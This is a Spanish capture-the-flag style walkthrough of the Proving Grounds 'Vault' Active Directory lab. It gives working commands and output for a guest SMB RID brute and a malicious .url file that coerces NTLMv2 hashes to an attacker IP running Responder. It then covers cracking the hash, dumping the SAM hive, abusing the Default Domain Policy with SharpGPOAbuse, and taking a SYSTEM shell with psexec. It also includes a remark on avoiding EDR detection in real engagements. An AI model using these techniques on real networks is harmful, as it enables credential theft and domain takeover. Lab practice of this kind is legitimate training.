the_open_door
café
ESEN

Vault

Proving Grounds PracticeMediaWindows192.168.125.172

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#active-directory#oscp#smb#guest#rid-brute#scf-attack#responder#ntlmv2#hash-cracking#sharpgpoabuse#gpo-abuse#default-domain-policy#bloodhound
TL;DR. Cadena AD que arranca con SMB guest habilitado, RID brute que descubre anirudh, un fichero .url (IconFile=\\...) subido a la share DocumentsShare para forzar coacción NTLMv2 hacia Responder, crack a SecureHM, y en BloodHound se ve que anirudh tiene WriteOwner/WriteDacl/GenericWrite sobre la Default Domain Policy GPO, así que con SharpGPOAbuse --AddLocalAdmin sobre esa GPO añade a anirudh como Administrador local del DC.

Reconocimiento

Escaneo inicial

El escaneo de puertos combina un barrido UDP y un TCP completo:

ping -c 1 192.168.125.172     # ttl=125 → Windows
sudo nmap -sU --top-ports 1000 -Pn -n --open 192.168.125.172
sudo nmap -sS -Pn -p- --min-rate 5000 --open 192.168.125.172

Un DC de vault.offsec con la trilogía habitual (53/88/135/389/445/464/593/636/3268/3269/3389/5985/9389) y sin nada raro fuera del pack AD.

El propio escaneo revela el dominio (vault.offsec) y el nombre del controlador (DC.vault.offsec) en los certificados LDAP y en el smb2 del host. Como Kerberos y LDAP resuelven por nombre, esos dos alias se añaden al /etc/hosts antes de seguir:

nano /etc/hosts
cat /etc/hosts

/etc/hosts con la línea 192.168.125.172 vault.offsec DC.vault.offsec

127.0.0.1       localhost
127.0.1.1       kali
192.168.125.172 vault.offsec    DC.vault.offsec

Acceso como anirudh

SMB con guest + RID brute

Lo primero es probar la sesión nula (usuario y contraseña vacíos), que es lo más barato: si el DC la acepta, enumera sin credenciales. Aquí no, responde STATUS_ACCESS_DENIED. Pero eso no cierra la vía, solo obliga a probar la siguiente cuenta sin contraseña: guest, que sí está habilitada y devuelve el listado de shares (DocumentsShare es la que interesa):

nxc smb 192.168.125.172 -u '' -p ''
nxc smb 192.168.125.172 -u 'guest' -p '' --shares

nxc guest muestra las shares

SMB  192.168.125.172  445  DC  [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:vault.offsec)
SMB  192.168.125.172  445  DC  [-] vault.offsec\: STATUS_ACCESS_DENIED

SMB  192.168.125.172  445  DC  [+] vault.offsec\guest:
SMB  192.168.125.172  445  DC  [*] Enumerated shares
SMB  192.168.125.172  445  DC  Share           Permissions  Remark
SMB  192.168.125.172  445  DC  -----           -----------  ------
SMB  192.168.125.172  445  DC  ADMIN$                       Remote Admin
SMB  192.168.125.172  445  DC  C$                           Default share
SMB  192.168.125.172  445  DC  DocumentsShare  READ,WRITE
SMB  192.168.125.172  445  DC  IPC$            READ         Remote IPC
SMB  192.168.125.172  445  DC  NETLOGON                     Logon server share
SMB  192.168.125.172  445  DC  SYSVOL                       Logon server share

Con guest se pueden listar shares, pero no hay una lista de usuarios del dominio, y sin usuarios no hay nada contra lo que autenticarse. La forma de sacarla desde una cuenta tan limitada es el RID brute: recorrer los identificadores relativos del SID del dominio pidiendo el nombre asociado a cada uno. Así aparecen cuentas del dominio, entre ellas anirudh (usuario real, no de sistema):

nxc smb 192.168.125.172 -u 'guest' -p '' --rid-brute | grep -i user \
  | awk '{print $6}' | tr '\\' ' ' | cut -d ' ' -f2 > users
cat users

Lista de usuarios por RID brute

Administrator
Guest
krbtgt
Domain
Protected
DC$
anirudh

.url a Responder - captura NTLMv2 de anirudh

Se prepara un fichero de acceso directo (InternetShortcut) con un IconFile=\\<atacante>\... para que Windows, al indexar la carpeta que contiene el .url, intente resolver ese UNC y termine autenticando NTLMv2 contra la IP del atacante.

[InternetShortcut]
URL=Random_nonsense
WorkingDirectory=Flibertygibbit
IconFile=\\192.168.45.164\%USERNAME%.icon
IconIndex=1

evil.url preparado

Se sube por guest a DocumentsShare y Responder captura el hash NTLMv2 del usuario que indexe la share (anirudh, con permisos de lectura sobre esa carpeta).

sudo responder -I tun0 -wv
smbclient //192.168.125.172/DocumentsShare
smb: \> put evil.url

Responder captura NTLMv2 de anirudh

[SMB] NTLMv2-SSP Client   : 192.168.125.172
[SMB] NTLMv2-SSP Username : VAULT\anirudh
[SMB] NTLMv2-SSP Hash     : anirudh::VAULT:927665ad8c0a3670:93733543BA4C69911E06506CCB401490:0101000000000000<SNIP>

Crack del NTLMv2 → SecureHM

john --wordlist=/usr/share/wordlists/rockyou.txt anirudh_nt_hash

john rompe el NTLMv2 a SecureHM

Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
SecureHM          (anirudh)
1g 0:00:00:02 DONE (2026-03-25 13:29) 0.3968g/s 4211Kp/s 4211Kc/s 4211KC/s Seijaa..Sarahs07

Evil-WinRM como anirudh

anirudh está en Remote Management Users del DC:

evil-winrm -i 192.168.125.172 -u anirudh -p SecureHM

evil-winrm como anirudh

Evil-WinRM shell v3.9
*Evil-WinRM* PS C:\Users\anirudh\Desktop> whoami
vault\anirudh

Privilegios de anirudh y volcado del SAM (vía descartada)

Lo primero dentro de una sesión es mirar qué privilegios trae el token, porque varios de ellos son escalada por sí solos. Aquí aparecen SeBackupPrivilege y SeRestorePrivilege habilitados, que permiten leer (y escribir) cualquier fichero saltándose las ACL, así que el movimiento evidente es sacar las hives del registro con reg save y descargarlas:

whoami /priv
reg save hklm\sam C:\temp\sam.hive
reg save hklm\system C:\temp\system.hive
download C:\\temp\\sam.hive
download C:\\temp\\system.hive

whoami /priv con SeBackupPrivilege habilitado, reg save de sam y system y descarga de ambas hives

PRIVILEGES INFORMATION

Privilege Name                Description                          State
SeMachineAccountPrivilege     Add workstations to domain           Enabled
SeSystemtimePrivilege         Change the system time               Enabled
SeBackupPrivilege             Back up files and directories        Enabled
SeRestorePrivilege            Restore files and directories        Enabled
SeShutdownPrivilege           Shut down the system                 Enabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeRemoteShutdownPrivilege     Force shutdown from a remote system  Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Enabled
SeTimeZonePrivilege           Change the time zone                 Enabled

The operation completed successfully.
The operation completed successfully.
Info: Downloading C:\temp\sam.hive to sam.hive
Info: Download successful!
Info: Downloading C:\temp\system.hive to system.hive
Info: Download successful!

Las hives se descargan sin problema, pero no llevan a ningún sitio: en un controlador de dominio el SAM guarda las cuentas locales de la máquina (y un DC apenas tiene, más allá de la de DSRM); las credenciales del dominio viven en NTDS.dit. Con SeBackupPrivilege ese fichero también sería alcanzable, pero la ruta que acabó abriendo la caja fue otra y más directa: los permisos de anirudh sobre una GPO. Se deja aquí porque es la comprobación que cualquiera haría en ese punto, y saber por qué no sirve ahorra el rodeo.

Escalada de Privilegios

BloodHound - anirudh sobre Default Domain Policy

Con credenciales válidas ya se puede recolectar el dominio entero por LDAP. bloodhound-python deja un .zip con los ficheros JSON, y para visualizarlo se levanta la interfaz de BloodHound CE con bloodhound-cli (repo), que despliega los contenedores (Postgres, neo4j y la web) con un solo comando:

bloodhound-python -u anirudh -p SecureHM -ns 192.168.125.172 \
  --zip -c All -d vault.offsec
wget https://github.com/SpecterOps/bloodhound-cli/releases/download/v0.1.6/bloodhound-cli-linux-amd64.tar.gz
tar -xvzf bloodhound-cli-linux-amd64.tar.gz
./bloodhound-cli install

bloodhound-python recolecta 5 usuarios, 52 grupos y 2 GPOs, y bloodhound-cli install levanta la interfaz

INFO: Found AD domain: vault.offsec
INFO: Connecting to LDAP server: dc.vault.offsec
INFO: Found 5 users
INFO: Found 52 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Querying computer: DC.vault.offsec
INFO: Compressing output into 20260325162540_bloodhound.zip

Solo 2 GPOs en todo el dominio, lo que estrecha mucho el sitio donde mirar. El grafo de "Pathfinding" de anirudh a administrator cruza por DEFAULT DOMAIN POLICY con tres aristas de escritura (WriteOwner, WriteDacl, GenericWrite). Es decir, anirudh puede modificar la GPO que aplica sobre todos los usuarios del dominio (incluido USERS, que contiene a Administrator).

BloodHound: anirudh -&gt; Default Domain Policy -&gt; Users -&gt; Administrator

SharpGPOAbuse - --AddLocalAdmin

SharpGPOAbuse (repo) inyecta directivas en un GPO existente. Con --AddLocalAdmin, la GPO le pide a los equipos afectados que añadan la cuenta indicada al grupo Administrators local. Como la Default Domain Policy aplica al DC, al gpupdate /force la propia máquina añade a anirudh como Local Administrator del DC.

# Subir el binario por evil-winrm
upload SharpGPOAbuse.exe

# Ejecutar contra la Default Domain Policy
.\SharpGPOAbuse.exe --AddLocalAdmin --GPOName "Default Domain Policy" --UserAccount anirudh
gpupdate /force

SharpGPOAbuse aplicado

[+] Domain = vault.offsec
[+] Domain Controller = DC.vault.offsec
[+] GUID of "Default Domain Policy" is: {31B2F340-016D-11D2-945F-00C04FB984F9}
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new local admin. Wait for the GPO refresh cycle.
[+] Done!

C:\Users\anirudh\Desktop> gpupdate /force
Updating policy...
Computer Policy update has completed successfully.
User Policy update has completed successfully.

PSExec como Administrator

Con anirudh en Administrators locales del DC, impacket-psexec ofrece la shell como SYSTEM:

impacket-psexec anirudh:SecureHM@192.168.125.172

psexec como SYSTEM

[*] Requesting shares on 192.168.125.172.....
[*] Found writable share ADMIN$
[*] Uploading file kxWMEgtr.exe
[*] Opening SVCManager on 192.168.125.172.....
[*] Creating service dZtJ on 192.168.125.172.....
[*] Starting service dZtJ.....
Microsoft Windows [Version 10.0.17763.2300]
C:\Windows\system32> whoami
nt authority\system

local.txt / proof.txt

C:\Users\anirudh\Desktop>type local.txt && whoami
5b944075f7ff45a7d34d36ee38b5bd82
vault\anirudh
C:\Windows\system32>type C:\Users\Administrator\Desktop\proof.txt
e694039c0a406cfec924d6feb9e5d040
nt authority\system

proof.txt como SYSTEM

Cadena de ataque

SMB guest habilitado
  └─ nxc rid-brute -> lista de usuarios (anirudh)
     └─ evil.url en DocumentsShare + Responder
        └─ NTLMv2 anirudh -> john -> SecureHM
           └─ evil-winrm -> anirudh
              └─ BloodHound: WriteOwner/WriteDacl/GenericWrite sobre Default Domain Policy
                 └─ SharpGPOAbuse --AddLocalAdmin --GPOName "Default Domain Policy"
                    └─ gpupdate /force -> anirudh Local Administrator del DC
                       └─ impacket-psexec -> SYSTEM

Lecciones aprendidas

  • guest habilitado convierte SMB en una superficie de enumeración anónima; --rid-brute es la mecánica para recorrer los RIDs y sacar cuentas por servidor.
  • El SCF/URL attack con IconFile=\\atacante\.. sigue siendo la técnica de coacción NTLMv2 más rentable: cualquier usuario que abra la carpeta con el fichero autentica en el atacante sin darse cuenta.
  • Los NTLMv2 son crackeables offline con diccionario si la contraseña es débil; SecureHM cae en un segundo con rockyou.
  • BloodHound trata las GPOs como objetos con DACL: si un principal tiene WriteOwner/WriteDacl/GenericWrite sobre una GPO que aplica a un OU con usuarios/equipos privilegiados, esa GPO es la puerta a esos objetos.
  • SharpGPOAbuse --AddLocalAdmin es el atajo más limpio: modifica la GPO existente (no crea una nueva), añade restricted groups con la cuenta indicada, y en el siguiente gpupdate los clientes cumplen. El uso masivo lo detecta cualquier EDR moderno, así que en escenarios reales conviene ser más quirúrgico (--AddUserRights SeTakeOwnershipPrivilege, etc.).
Cheatsheet de comandos 11 comandos

Repaso rápido